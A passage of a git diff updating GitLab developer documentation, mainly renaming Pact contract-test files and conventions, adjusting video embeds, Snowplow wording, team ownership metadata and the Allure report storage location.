- See the video from: <a href="https://www.youtube.com/embed/22LbYqHwtUQ">Product Intelligence Office Hours Oct 6th</a> for an aggregated metrics walk-through.
+ See the video from: <a href="https://www.youtube.com/watch?v=22LbYqHwtUQ">Product Intelligence Office Hours Oct 6th</a> for an aggregated metrics walk-through.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/22LbYqHwtUQ" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/22LbYqHwtUQ" frameborder="0" allowfullscreen> </iframe>
</figure>
The aggregated metrics feature provides insight into the number of data attributes, for example `pseudonymized_user_ids`, that occurred in a collection of events. For example, you can aggregate the number of users who perform multiple actions such as creating a new issue and opening
@@ -474,5 +474,5 @@ The following pairing session video gives you an example of an investigation in
See the video from: <a href="https://www.youtube.com/watch?v=y_6m2POx2ug">Product Intelligence Office Hours Oct 27th</a> to learn more about the metrics troubleshooting process.
</div>
<figure class="video-container">
- <iframe src="https://www.youtube.com/embed/y_6m2POx2ug" frameborder="0" allowfullscreen="true"> </iframe>
+ <iframe src="https://www.youtube-nocookie.com/embed/y_6m2POx2ug" frameborder="0" allowfullscreen> </iframe>
</figure>
diff --git a/doc/development/sidekiq/index.md b/doc/development/sidekiq/index.md
index c9d783377bd..f4f98641d39 100644
--- a/doc/development/sidekiq/index.md
+++ b/doc/development/sidekiq/index.md
@@ -83,6 +83,19 @@ Each retry for a worker is counted as a failure in our metrics. A worker
which always fails 9 times and succeeds on the 10th would have a 90%
error rate.
+If you want to manually retry the worker without tracking the exception in Sentry,
+use an exception class inherited from `Gitlab::SidekiqMiddleware::RetryError`.
+
+```ruby
+ServiceUnavailable = Class.new(::Gitlab::SidekiqMiddleware::RetryError)
+
+def perform
+ ...
+
+ raise ServiceUnavailable if external_service_unavailable?
+end
+```
+
## Sidekiq Queues
Previously, each worker had its own queue, which was automatically set based on the
diff --git a/doc/development/snowplow/implementation.md b/doc/development/snowplow/implementation.md
index a80d6fe70ff..40b8b7b3da8 100644
--- a/doc/development/snowplow/implementation.md
+++ b/doc/development/snowplow/implementation.md
@@ -115,7 +115,7 @@ You can also use it on HAML templates:
```
If you use the GitLab helper method [`nav_link`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/helpers/tab_helper.rb#L76), you must wrap `html_options` under the `html_options` keyword argument. If you
-use the `ActionView` helper method [`link_to`](https://api.rubyonrails.org/v5.2.3/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to), you don't need to wrap `html_options`.
+use the `ActionView` helper method [`link_to`](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to), you don't need to wrap `html_options`.
```ruby
# Bad
diff --git a/doc/development/snowplow/index.md b/doc/development/snowplow/index.md
index 32628744a23..6acbd72175e 100644
--- a/doc/development/snowplow/index.md
+++ b/doc/development/snowplow/index.md
@@ -27,9 +27,10 @@ Tracking can be enabled at:
- The user level. User tracking can be disabled on a per user basis.
GitLab respects the [Do Not Track](https://www.eff.org/issues/do-not-track) standard, so any user who has enabled the Do Not Track option in their browser is not tracked at a user level.
-Snowplow tracking is enabled on GitLab.com, and we use it for most of our tracking strategy.
+Snowplow tracking is configured to send data for GitLab.com to a collector configured by GitLab. By default, self-managed
+instances do not have a collector configured and do not collect data via Snowplow.
-To enable Snowplow tracking on a self-managed instance:
+You can configure your self-managed GitLab instance to use a custom Snowplow collector.
1. On the top bar, select **Main menu > Admin**, then select **Settings > General**.
Alternatively, go to `admin/application_settings/general` in your browser.
diff --git a/doc/development/software_design.md b/doc/development/software_design.md
index 03cbbb13d9f..d4edbaa72be 100644
--- a/doc/development/software_design.md
+++ b/doc/development/software_design.md
@@ -1,6 +1,6 @@
---
stage: none
-+group: Engineering Productivity
+group: Engineering Productivity
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/development/spam_protection_and_captcha/exploratory_testing.md b/doc/development/spam_protection_and_captcha/exploratory_testing.md
index 1bcd336ce93..fe5c1c3db56 100644
--- a/doc/development/spam_protection_and_captcha/exploratory_testing.md
+++ b/doc/development/spam_protection_and_captcha/exploratory_testing.md
@@ -1,6 +1,6 @@
---
-stage: Manage
-group: Authentication and Authorization
+stage: Data Science
+group: Anti-Abuse
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
@@ -153,8 +153,8 @@ only models with full Spam and CAPTCHA support.
1. Create an API token.
1. Export it in your terminal for the REST commands: `export PRIVATE_TOKEN=<your_api_token>`
-1. Ensure you are logged into GitLab development environment at `localhost:3000` before using GraphiQL explorer,
- because it uses your logged-in user as authorization for running GraphQL queries.
+1. Ensure you are signed into the GitLab development environment at `localhost:3000` before using GraphiQL explorer,
+ because it uses your authenticated user as authorization for running GraphQL queries.
1. For the GraphQL examples, use the GraphiQL explorer at `http://localhost:3000/-/graphql-explorer`.
1. Use the `--include` (`-i`) option to `curl` to print the HTTP response headers, including the status code.
diff --git a/doc/development/spam_protection_and_captcha/graphql_api.md b/doc/development/spam_protection_and_captcha/graphql_api.md
index 846165d35f1..383b52df1fc 100644
--- a/doc/development/spam_protection_and_captcha/graphql_api.md
+++ b/doc/development/spam_protection_and_captcha/graphql_api.md
@@ -1,6 +1,6 @@
---
-stage: Manage
-group: Authentication and Authorization
+stage: Data Science
+group: Anti-Abuse
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/development/spam_protection_and_captcha/index.md b/doc/development/spam_protection_and_captcha/index.md
index 1ba1c1678c4..254c3401f81 100644
--- a/doc/development/spam_protection_and_captcha/index.md
+++ b/doc/development/spam_protection_and_captcha/index.md
@@ -1,6 +1,6 @@
---
-stage: Manage
-group: Authentication and Authorization
+stage: Data Science
+group: Anti-Abuse
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/development/spam_protection_and_captcha/model_and_services.md b/doc/development/spam_protection_and_captcha/model_and_services.md
index d0ca6d350dc..9c5d389a2f5 100644
--- a/doc/development/spam_protection_and_captcha/model_and_services.md
+++ b/doc/development/spam_protection_and_captcha/model_and_services.md
@@ -1,6 +1,6 @@
---
-stage: Manage
-group: Authentication and Authorization
+stage: Data Science
+group: Anti-Abuse
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/development/spam_protection_and_captcha/rest_api.md b/doc/development/spam_protection_and_captcha/rest_api.md
index 7a9f8b5def1..7d749944163 100644
--- a/doc/development/spam_protection_and_captcha/rest_api.md
+++ b/doc/development/spam_protection_and_captcha/rest_api.md
@@ -1,6 +1,6 @@
---
-stage: Manage
-group: Authentication and Authorization
+stage: Data Science
+group: Anti-Abuse
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/development/spam_protection_and_captcha/web_ui.md b/doc/development/spam_protection_and_captcha/web_ui.md
index ff7049dd29f..0ae5e98f399 100644
--- a/doc/development/spam_protection_and_captcha/web_ui.md
+++ b/doc/development/spam_protection_and_captcha/web_ui.md
@@ -1,6 +1,6 @@
---
-stage: Manage
-group: Authentication and Authorization
+stage: Data Science
+group: Anti-Abuse
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md
index aee3e2871c2..e27d4911158 100644
--- a/doc/development/testing_guide/best_practices.md
+++ b/doc/development/testing_guide/best_practices.md
@@ -155,6 +155,8 @@ To avoid creation, it is worth bearing in mind that:
Use [Factory Doctor](https://test-prof.evilmartians.io/#/profilers/factory_doctor) to find cases where database persistence is not needed in a given test.
+Examples of factories optimization [1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106796), [2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105329).
+
```shell
# run test for path
FDOC=1 bin/rspec spec/[path]/[to]/[spec].rb
@@ -831,7 +833,7 @@ To resolve, use `let`, or change the factory to not use stubs.
### Time-sensitive tests
-[`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/v6.0.3.1/classes/ActiveSupport/Testing/TimeHelpers.html)
+[`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html)
can be used to verify things that are time-sensitive. Any test that exercises or verifies something time-sensitive
should make use of these helpers to prevent transient test failures.
@@ -852,7 +854,7 @@ end
#### RSpec helpers
You can use the `:freeze_time` and `:time_travel_to` RSpec metadata tag helpers to help reduce the amount of
-boilerplate code needed to wrap entire specs with the [`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/v6.0.3.1/classes/ActiveSupport/Testing/TimeHelpers.html)
+boilerplate code needed to wrap entire specs with the [`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html)
methods.
```ruby
@@ -872,7 +874,7 @@ end
```
[Under the hood](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/time_travel.rb), these helpers use the `around(:each)` hook and the block syntax of the
-[`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/v6.0.3.1/classes/ActiveSupport/Testing/TimeHelpers.html)
+[`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html)
methods:
```ruby
diff --git a/doc/development/testing_guide/contract/consumer_tests.md b/doc/development/testing_guide/contract/consumer_tests.md
index 9c72e6835bd..39cc34d6153 100644
--- a/doc/development/testing_guide/contract/consumer_tests.md
+++ b/doc/development/testing_guide/contract/consumer_tests.md
@@ -6,11 +6,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Writing consumer tests
-This tutorial guides you through writing a consumer test from scratch. To start, the consumer tests are written using [`jest-pact`](https://github.com/pact-foundation/jest-pact) that builds on top of [`pact-js`](https://github.com/pact-foundation/pact-js). This tutorial shows you how to write a consumer test for the `/discussions.json` REST API endpoint, which is actually `/:namespace_name/:project_name/-/merge_requests/:id/discussions.json`. For an example of a GraphQL consumer test, see [`spec/contracts/consumer/specs/project/pipeline/show.spec.js`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/spec/contracts/consumer/specs/project/pipeline/show.spec.js).
+This tutorial guides you through writing a consumer test from scratch. To start, the consumer tests are written using [`jest-pact`](https://github.com/pact-foundation/jest-pact) that builds on top of [`pact-js`](https://github.com/pact-foundation/pact-js). This tutorial shows you how to write a consumer test for the `/discussions.json` REST API endpoint, which is `/:namespace_name/:project_name/-/merge_requests/:id/discussions.json`, that is called in the `MergeRequests#show` page. For an example of a GraphQL consumer test, see [`spec/contracts/consumer/specs/project/pipelines/show.spec.js`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/spec/contracts/consumer/specs/project/pipelines/show.spec.js).
## Create the skeleton
-Start by creating the skeleton of a consumer test. Create a file under `spec/contracts/consumer/specs/project/merge_request` called `discussions.spec.js`.
+Start by creating the skeleton of a consumer test. Since this is for a request in the `MergeRequests#show` page, under `spec/contracts/consumer/specs/project/merge_requests`, create a file called `show.spec.js`.
Then, populate it with the following function and parameters:
- [`pactWith`](#the-pactwith-function)
@@ -38,10 +38,10 @@ import { pactWith } from 'jest-pact';
pactWith(
{
- consumer: 'MergeRequest#show',
- provider: 'Merge Request Discussions Endpoint',
+ consumer: 'MergeRequests#show',
+ provider: 'GET discussions',
log: '../logs/consumer.log',
- dir: '../contracts/project/merge_request/show',
+ dir: '../contracts/project/merge_requests/show',
},
PactFn
);
@@ -58,14 +58,14 @@ import { pactWith } from 'jest-pact';
pactWith(
{
- consumer: 'MergeRequest#show',
- provider: 'Merge Request Discussions Endpoint',
+ consumer: 'MergeRequests#show',
+ provider: 'GET discussions',
log: '../logs/consumer.log',
- dir: '../contracts',
+ dir: '../contracts/project/merge_requests/show',
},
(provider) => {
- describe('Merge Request Discussions Endpoint', () => {
+ describe('GET discussions', () => {
beforeEach(() => {
});
@@ -97,14 +97,14 @@ import { Matchers } from '@pact-foundation/pact';
pactWith(
{
- consumer: 'MergeRequest#show',
- provider: 'Merge Request Discussions Endpoint',
+ consumer: 'MergeRequests#show',
+ provider: 'GET discussions',
log: '../logs/consumer.log',
- dir: '../contracts/project/merge_request/show',
+ dir: '../contracts/project/merge_requests/show',
},
(provider) => {
- describe('Merge Request Discussions Endpoint', () => {
+ describe('GET discussions', () => {
beforeEach(() => {
const interaction = {
state: 'a merge request with discussions exists',
@@ -175,14 +175,14 @@ import { getDiscussions } from '../../../resources/api/project/merge_requests';
pactWith(
{
- consumer: 'MergeRequest#show',
- provider: 'Merge Request Discussions Endpoint',
+ consumer: 'MergeRequests#show',
+ provider: 'GET discussions',
log: '../logs/consumer.log',
- dir: '../contracts/project/merge_request/show',
+ dir: '../contracts/project/merge_requests/show',
},
(provider) => {
- describe('Merge Request Discussions Endpoint', () => {
+ describe('GET discussions', () => {
beforeEach(() => {
const interaction = {
state: 'a merge request with discussions exists',
@@ -232,7 +232,7 @@ There we have it! The consumer test is now set up. You can now try [running this
As you may have noticed, the request and response definitions can get large. This results in the test being difficult to read, with a lot of scrolling to find what you want. You can make the test easier to read by extracting these out to a `fixture`.
-Create a file under `spec/contracts/consumer/fixtures/project/merge_request` called `discussions.fixture.js` where you will place the `request` and `response` definitions.
+Create a file under `spec/contracts/consumer/fixtures/project/merge_requests` called `discussions.fixture.js` where you will place the `request` and `response` definitions.
```javascript
import { Matchers } from '@pact-foundation/pact';
@@ -279,13 +279,13 @@ With all of that moved to the `fixture`, you can simplify the test to the follow
```javascript
import { pactWith } from 'jest-pact';
-import { Discussions } from '../../../fixtures/project/merge_request/discussions.fixture';
+import { Discussions } from '../../../fixtures/project/merge_requests/discussions.fixture';
import { getDiscussions } from '../../../resources/api/project/merge_requests';
-const CONSUMER_NAME = 'MergeRequest#show';
-const PROVIDER_NAME = 'Merge Request Discussions Endpoint';
+const CONSUMER_NAME = 'MergeRequests#show';
+const PROVIDER_NAME = 'GET discussions';
const CONSUMER_LOG = '../logs/consumer.log';
-const CONTRACT_DIR = '../contracts/project/merge_request/show';
+const CONTRACT_DIR = '../contracts/project/merge_requests/show';
pactWith(
{
diff --git a/doc/development/testing_guide/contract/index.md b/doc/development/testing_guide/contract/index.md
index 08a21e58a52..31d68bb9f4f 100644
--- a/doc/development/testing_guide/contract/index.md
+++ b/doc/development/testing_guide/contract/index.md
@@ -24,7 +24,7 @@ The contracts themselves are stored in [`/spec/contracts/contracts`](https://git
### Run the consumer tests
-Before running the consumer tests, go to `spec/contracts/consumer` and run `npm install`. To run all the consumer tests, you just need to run `npm test -- /specs`. Otherwise, to run a specific spec file, replace `/specs` with the specific spec filename.
+Before running the consumer tests, go to `spec/contracts/consumer` and run `npm install`. To run all the consumer tests, you just need to run `npm run jest:contract -- /specs`. Otherwise, to run a specific spec file, replace `/specs` with the specific spec filename. Running the consumer test will create the contract that the provider test uses to verify the actual API behavior.
You can also run tests from the root directory of the project, using the command `yarn jest:contract`.
@@ -40,6 +40,14 @@ rake contracts:merge_requests:pact:verify:discussions
rake contracts:merge_requests:test:merge_requests[contract_merge_requests] # Run all merge request contract tests
```
+#### Verify the contracts in Pact Broker
+
+By default, the Rake tasks will verify the locally stored contracts. In order to verify the contracts published in the Pact Broker, we need to set the `PACT_BROKER` environment variable to `true`. It is important to point out here that the file path and file name of the provider test is what is used to find the contract in the Pact Broker which is why it is important to make sure the [provider test naming conventions](#provider-naming) are followed.
+
+## Publish contracts to Pact Broker
+
+The contracts generated by the consumer test can be published to a hosted Pact Broker by going to `spec/contracts` and running the `publish-contracts.sh` script.
+
## Test suite folder structure and naming conventions
To keep the consumer and provider test suite organized and maintainable, it's important that tests are organized, also that consumers and providers are named consistently. Therefore, it's important to adhere to the following conventions.
@@ -50,31 +58,33 @@ Having an organized and sensible folder structure for the test suite makes it ea
#### Consumer tests
-The consumer tests are grouped according to the different pages in the application. Each file contains various types of requests found in a page. As such, the consumer test files are named using the Rails standards of how pages are referenced. For example, the project pipelines page would be the `Project::Pipeline#index` page so the equivalent consumer test would be located in `consumer/specs/project/pipelines/index.spec.js`.
+The consumer tests are grouped according to the different pages in the application. Each file contains various types of requests found in a page. As such, the consumer test files are named using the Rails standards of how pages are referenced. For example, the project pipelines page would be the `Project::Pipelines#index` page so the equivalent consumer test would be located in `consumer/specs/project/pipelines/index.spec.js`.
When defining the location to output the contract generated by the test, we want to follow the same file structure which would be `contracts/project/pipelines/` for this example. This is the structure in `consumer/resources` and `consumer/fixtures` as well.
+The naming of the folders must also be pluralized to match how they are called in the Rails naming standard.
+
#### Provider tests
The provider tests are grouped similarly to our controllers. Each of these tests contains various tests for an API endpoint. For example, the API endpoint to get a list of pipelines for a project would be located in `provider/pact_helpers/project/pipelines/get_list_project_pipelines_helper.rb`. The provider states are grouped according to the different pages in the application similar to the consumer tests.
### Naming conventions
-When writing the consumer and provider tests, there are parts where a name is required for the consumer and provider. Since there are no restrictions imposed by Pact on how these should be named, a naming convention is important to keep it easy for us to figure out which consumer and provider tests are involved during debugging. Pact also uses the consumer and provider names to generate the generated contracts in the `#{consumer_name}-#{provider_name}` format.
+When writing the consumer and provider tests, there are parts where a name is required for the consumer and provider. Since there are no restrictions imposed by Pact on how these should be named, a naming convention is important to keep it easy for us to figure out which consumer and provider tests are involved during debugging. Pact also uses the consumer and provider names to create the locally stored contract file names in the `#{consumer_name}-#{provider_name}` format.
#### Consumer naming
-As mentioned in the [folder structure section](#consumer-tests), consumer tests are grouped according to the different pages in the application. As such, consumer names should follow the same naming format using the Rails standard. For example, the consumer test for `Project::Pipeline#index` would be `ProjectPipeline#index` as the consumer name. Since Pact uses this name to name the contracts it generates, the colons (`::`) are dropped as colons are not valid characters in file names.
+As mentioned in the [folder structure section](#consumer-tests), consumer tests are grouped according to the different pages in the application. As such, consumer names should follow the same naming format using the Rails standard. For example, the consumer test for `Project::Pipelines#index` would be under the `project` folder and will be called `Pipelines#index` as the consumer name.
#### Provider naming
-These are the API endpoints that provides the data to the consumer so they are named according to the API endpoint they pertain to. Be mindful that this name is as descriptive as possible. For example, if we're writing a test for the `GET /groups/:id/projects` endpoint, we don't want to name it "Projects endpoint" as there is a `GET /projects` endpoint as well that also fetches a list of projects the user has access to across all of GitLab. An easy way to name them is by checking out our [API documentation](../../../api/api_resources.md) and naming it the same way it is named in there. So the [`GET /groups/:id/projects`](../../../api/groups.md#list-a-groups-projects) would be called `List a group’s projects` and [`GET /projects`](../../../api/projects.md#list-all-projects) would be called `List all projects`. Subsequently, the test files are named `list_a_groups_projects_helper.rb` and `list_all_projects_helper.rb` respectively.
+These are the API endpoints that provides the data to the consumer so they are named according to the API endpoint they pertain to. Be mindful that this begins with the HTTP request method and the rest of the name is as descriptive as possible. For example, if we're writing a test for the `GET /groups/:id/projects` endpoint, we don't want to name it "GET projects endpoint" as there is a `GET /projects` endpoint as well that also fetches a list of projects the user has access to across all of GitLab. To choose an appropriate name, we can start by checking out our [API documentation](../../../api/api_resources.md) and naming it the same way it is named in there while making sure to keep the name in sentence case. So the [`GET /groups/:id/projects`](../../../api/groups.md#list-a-groups-projects) would be called `GET list a group's projects` and [`GET /projects`](../../../api/projects.md#list-all-projects) would be called `GET list all projects`. Subsequently, the test files are named `get_list_a_groups_projects_helper.rb` and `get_list_all_projects_helper.rb` respectively.
-There are some cases where the provider being tested may not be documented so, in those cases, fall back to choosing a name that is as descriptive as possible to ensure it's easy to tell what the provider is for.
+There are some cases where the provider being tested may not be documented so, in those cases, fall back to starting with the HTTP request method followed by a name that is as descriptive as possible to ensure it's easy to tell what the provider is for.
#### Conventions summary
| Tests | Folder structure | Naming convention |
| ----- | ---------------- | ----------------- |
-| Consumer Test | Follows the Rails reference standards. For example, `Project::Pipeline#index` would be `consumer/specs/project/pipelines/index.spec.js` | Follows the Rails naming standard. For example, `Project::Pipeline#index` would be `ProjectPipeline#index` |
-| Provider Test | Grouped like the Rails controllers. For example, [`List project pipelines` API endpoint](../../../api/pipelines.md#list-project-pipelines) would be `provider/pact_helpers/project/pipelines/provider/pact_helpers/project/pipelines/get_list_project_pipelines_helper.rb` | Follows the API documentation naming scheme. For example, [`GET /projects/:id/pipelines`](../../../api/pipelines.md#list-project-pipelines) would be called `List project pipelines`. |
+| Consumer Test | Follows the Rails reference standards. For example, `Project::Pipelines#index` would be `consumer/specs/project/pipelines/index.spec.js` | Follows the Rails naming standard. For example, `Project::Pipelines#index` would be `Pipelines#index` within the `project` folder. |
+| Provider Test | Grouped like the Rails controllers. For example, [`GET list project pipelines` API endpoint](../../../api/pipelines.md#list-project-pipelines) would be `provider/pact_helpers/project/pipelines/provider/pact_helpers/project/pipelines/get_list_project_pipelines_helper.rb` | Follows the API documentation naming scheme in sentence case. For example, [`GET /projects/:id/pipelines`](../../../api/pipelines.md#list-project-pipelines) would be called `GET list project pipelines`. |
diff --git a/doc/development/testing_guide/contract/provider_tests.md b/doc/development/testing_guide/contract/provider_tests.md
index 1772ed9384e..3ce9f91a307 100644
--- a/doc/development/testing_guide/contract/provider_tests.md
+++ b/doc/development/testing_guide/contract/provider_tests.md
@@ -10,7 +10,7 @@ This tutorial guides you through writing a provider test from scratch. It is a c
## Create the skeleton
-Provider tests are quite simple. The goal is to set up the test data and then link that with the corresponding contract. Start by creating a file called `discussions_helper.rb` under `spec/contracts/provider/pact_helpers/project/merge_request`. Note that the files are called `helpers` to match how they are called by Pact in the Rake tasks, which are set up at the end of this tutorial.
+Provider tests are quite simple. The goal is to set up the test data and then link that with the corresponding contract. Start by creating a file called `get_discussions_helper.rb` under `spec/contracts/provider/pact_helpers/project/merge_request`. Note that the files are called `helpers` to match how they are called by Pact in the Rake tasks, which are set up at the end of this tutorial.
To learn more about how the contract test directory is structured, see the contract testing [test suite folder structure](index.md#test-suite-folder-structure).
@@ -23,7 +23,7 @@ require_relative '../../../spec_helper'
module Provider
module DiscussionsHelper
- Pact.service_provider 'Merge Request Discussions Endpoint' do
+ Pact.service_provider 'GET discussions' do
end
end
@@ -39,8 +39,8 @@ require_relative '../../../spec_helper'
module Provider
module DiscussionsHelper
- Pact.service_provider 'Merge Request Discussions Endpoint' do
- honours_pact_with 'MergeRequest#show' do
+ Pact.service_provider 'GET discussions' do
+ honours_pact_with 'MergeRequests#show' do
end
end
@@ -59,10 +59,10 @@ require_relative '../../../spec_helper'
module Provider
module DiscussionsHelper
- Pact.service_provider 'Merge Request Discussions Endpoint' do
+ Pact.service_provider 'GET discussions' do
app { Environment::Test.app }
- honours_pact_with 'MergeRequest#show' do
+ honours_pact_with 'MergeRequests#show' do
end
end
@@ -79,11 +79,11 @@ require_relative '../../../spec_helper'
module Provider
module DiscussionsHelper
- Pact.service_provider 'Merge Request Discussions Endpoint' do
+ Pact.service_provider 'GET discussions' do
app { Environment::Test.app }
- honours_pact_with 'MergeRequest#show' do
- pact_uri '../contracts/project/merge_request/show/mergerequest#show-merge_request_discussions_endpoint.json'
+ honours_pact_with 'MergeRequests#show' do
+ pact_uri '../contracts/project/merge_requests/show/mergerequests#show-merge_request_discussions_endpoint.json'
end
end
end
@@ -92,20 +92,25 @@ end
## Add / update the Rake tasks
-Now that you have a test created, you must create Rake tasks that run this test. The Rake tasks are defined in [`lib/tasks/contracts.rake`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/tasks/contracts.rake) where we have individual Rake tasks to run individual specs, but also Rake tasks that run a group of tests.
+Now that you have a test created, you must create Rake tasks that run this test. The Rake tasks are defined in [`lib/tasks/contracts/merge_requests.rake`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/tasks/contracts/merge_requests.rake) where we have individual Rake tasks to run individual tests, but also Rake tasks that run a group of tests.
-Under the `contracts:mr` namespace, introduce the Rake task to run this new test specifically. In it, call `pact.uri` to define the location of the contract and the provider test that tests that contract. Notice here that `pact_uri` has a parameter called `pact_helper`. This is why the provider tests are called `_helper.rb`.
+Under the `contracts:merge_requests` namespace, introduce the Rake task to run this new test specifically. In it, call `pact.uri` to define the location of the contract and the provider test that tests that contract. Notice here that `pact_uri` has a parameter called `pact_helper`. This is why the provider tests are called `_helper.rb`.
```ruby
-Pact::VerificationTask.new(:discussions) do |pact|
+Pact::VerificationTask.new(:get_discussions) do |pact|
+ provider = File.expand_path('../../../spec/contracts/provider', __dir__)
+ pact_helper_location = "pact_helpers/project/merge_requests/show/get_discussions_helper.rb"
+
pact.uri(
- "#{contracts}/contracts/project/merge_request/show/merge_request#show-merge_request_discussions_endpoint.json",
- pact_helper: "#{provider}/pact_helpers/project/merge_request/discussions_helper.rb"
+ Provider::ContractSourceHelper.contract_location(:rake, pact_helper_location),
+ pact_helper: "#{provider}/#{pact_helper_location}"
)
end
```
-At the same time, add your new `:discussions` Rake task to be included in the `test:merge_request` Rake task. In that Rake task, there is an array defined (`%w[metadata diffs]`). You must add `discussions` in that list.
+[`Provider::ContractSourceHelper`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/spec/contracts/provider/helpers/contract_source_helper.rb) is a helper module that has the `#contract_location` method which parses `pact_helper_location` and determines where the contract is stored locally or on the Pact Broker depending on the `requester` passed in.
+
+At the same time, add your new `:get_discussions` Rake task to be included in the `test:merge_requests` Rake task. In that Rake task, there is an array defined (`%w[get_diffs_batch get_diffs_metadata]`). You must add `get_discussions` in that list.
## Create test data
@@ -113,7 +118,7 @@ As the last step, create the test data that allows the provider test to return t
You can read more about [provider states](https://docs.pact.io/implementation_guides/ruby/provider_states). We can do global provider states but for this tutorial, the provider state is for one specific `state`.
-To create the test data, create `discussions_state.rb` under `spec/contracts/provider/states/project/merge_request`. Be sure to also import this state file in the `discussions_helper.rb` file.
+To create the test data, create `show_state.rb` under `spec/contracts/provider/states/project/merge_requests`. Be sure to also import this state file in the `get_discussions_helper.rb` file.
### Default user in `spec/contracts/provider/spec_helper.rb`
@@ -141,7 +146,7 @@ Any further modifications to the user that's needed can be done through the indi
In the state file, you must define which consumer this provider state is for. You can do that with `provider_states_for`. Make sure that the `name` provided matches the name defined for the consumer.
```ruby
-Pact.provider_states_for 'MergeRequest#show' do
+Pact.provider_states_for 'MergeRequests#show' do
end
```
@@ -150,7 +155,7 @@ end
In the `provider_states_for` block, you then define the state the test data is for. These states are also defined in the consumer test. In this case, there is a `'a merge request with discussions exists'` state.
```ruby
-Pact.provider_states_for "MergeRequest#show" do
+Pact.provider_states_for "MergeRequests#show" do
provider_state "a merge request with discussions exists" do
end
@@ -162,7 +167,7 @@ end
This is where you define the test data creation steps. Use `FactoryBot` to create the data. As you create the test data, you can keep [running the provider test](index.md#run-the-provider-tests) to check on the status of the test and figure out what else is missing in your data setup.
```ruby
-Pact.provider_states_for "MergeRequest#show" do
+Pact.provider_states_for "MergeRequests#show" do
provider_state "a merge request with discussions exists" do
set_up do
user = User.find_by(name: Provider::UsersHelper::CONTRACT_USER_NAME)
@@ -187,20 +192,19 @@ Now that the provider state file is created, you need to import the state file t
# frozen_string_literal: true
require_relative '../../../spec_helper'
-require_relative '../../../states/project/merge_request/discussions_state'
+require_relative '../../../states/project/merge_requests/show_state'
module Provider
module DiscussionsHelper
- Pact.service_provider "/merge_request/discussions" do
+ Pact.service_provider "GET discussions" do
app { Environments::Test.app }
honours_pact_with 'Merge Request#show' do
- pact_uri '../contracts/project/merge_request/show/merge_request#show-merge_request_discussions_endpoint.json'
+ pact_uri '../contracts/project/merge_requests/show/mergerequests#show-merge_request_discussions_endpoint.json'
end
end
end
end
-
```
-And there we have it. The provider test for `discussions_helper.rb` should now pass with this.
+And there we have it. The provider test for `get_discussions_helper.rb` should now pass with this.
diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md
index 55d725ba4ae..8369dcb0740 100644
--- a/doc/development/testing_guide/end_to_end/index.md
+++ b/doc/development/testing_guide/end_to_end/index.md
@@ -207,11 +207,10 @@ For additional test results visibility, tests that run on pipelines generate
and host [Allure](https://github.com/allure-framework/allure2) test reports.
The `QA` framework is using the [Allure RSpec](https://github.com/allure-framework/allure-ruby/blob/master/allure-rspec/README.md)
-gem to generate source files for the `Allure` test report. An additional job
-in the pipeline:
+gem to generate source files for the `Allure` test report. An additional job in the pipeline:
- Fetches these source files from all test jobs.
-- Generates and uploads the report to the `GCS` bucket `gitlab-qa-allure-report` under the project `gitlab-qa-resources`.
+- Generates and uploads the report to the `S3` bucket `gitlab-qa-allure-report` located in `AWS` group project `eng-quality-ops-ci-cd-shared-infra`.
A common CI template for report uploading is stored in
[`allure-report.yml`](https://gitlab.com/gitlab-org/quality/pipeline-common/-/blob/master/ci/allure-report.yml).
@@ -230,13 +229,13 @@ a link to the current test report.
Each type of scheduled pipeline generates a static link for the latest test report according to its stage:
-- [`master`](https://storage.googleapis.com/gitlab-qa-allure-reports/e2e-package-and-test/master/index.html)
-- [`staging-full`](https://storage.googleapis.com/gitlab-qa-allure-reports/staging-full/master/index.html)
-- [`staging-sanity`](https://storage.googleapis.com/gitlab-qa-allure-reports/staging-sanity/master/index.html)
-- [`staging-sanity-no-admin`](https://storage.googleapis.com/gitlab-qa-allure-reports/staging-sanity-no-admin/master/index.html)
-- [`canary-sanity`](https://storage.googleapis.com/gitlab-qa-allure-reports/canary-sanity/master/index.html)
-- [`production`](https://storage.googleapis.com/gitlab-qa-allure-reports/production-full/master/index.html)
-- [`production-sanity`](https://storage.googleapis.com/gitlab-qa-allure-reports/production-sanity/master/index.html)
